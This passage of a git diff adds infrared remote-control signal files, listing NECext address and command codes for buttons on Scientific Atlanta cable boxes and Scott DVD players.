00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: PRG +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: AU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: RCL +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 37 00 00 00 +# +name: SETTINGS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir new file mode 100644 index 000000000..6a55a68aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir new file mode 100644 index 000000000..b7c40a7b6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: NUM_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: NUM_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: NUM_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: NUM_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: NUM_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: NUM_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: NUM_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: NUM_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: NUM_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: NUM_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 37 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir new file mode 100644 index 000000000..15cdc6573 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: bypass +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: VOD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 +# +name: yellowtriangle +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: bluesquare +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: redcircle +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 37 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 +# +name: diece +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir new file mode 100644 index 000000000..b8f53d5e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir new file mode 100644 index 000000000..5076079ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: select_up +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: select_left +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: select_right +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: select_down +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: KEY_KPASTERISK +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: live +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 22 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 26 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 27 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 28 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2C 00 00 00 +# +name: pip_ch+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2E 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 33 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: select_page+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: select_page- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 37 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 +# +name: pound +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3A 00 00 00 +# +name: pip_power +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3B 00 00 00 +# +name: pip_swap +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3C 00 00 00 +# +name: pip_move +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3E 00 00 00 +# +name: pip_ch- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir new file mode 100644 index 000000000..9a31cd45f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: resume +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0C 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 12 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 18 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1C 00 00 00 +# +name: item +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: track +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: GoTo +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir new file mode 100644 index 000000000..9cac50077 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: VOCAL_ASSIST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: GOTO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: STEP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 14 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 17 00 00 00 +# +name: SKIP_BW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 18 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1B 00 00 00 +# +name: SKIP_FW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: PN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 51 00 00 00 +# +name: PBC.OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 55 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext 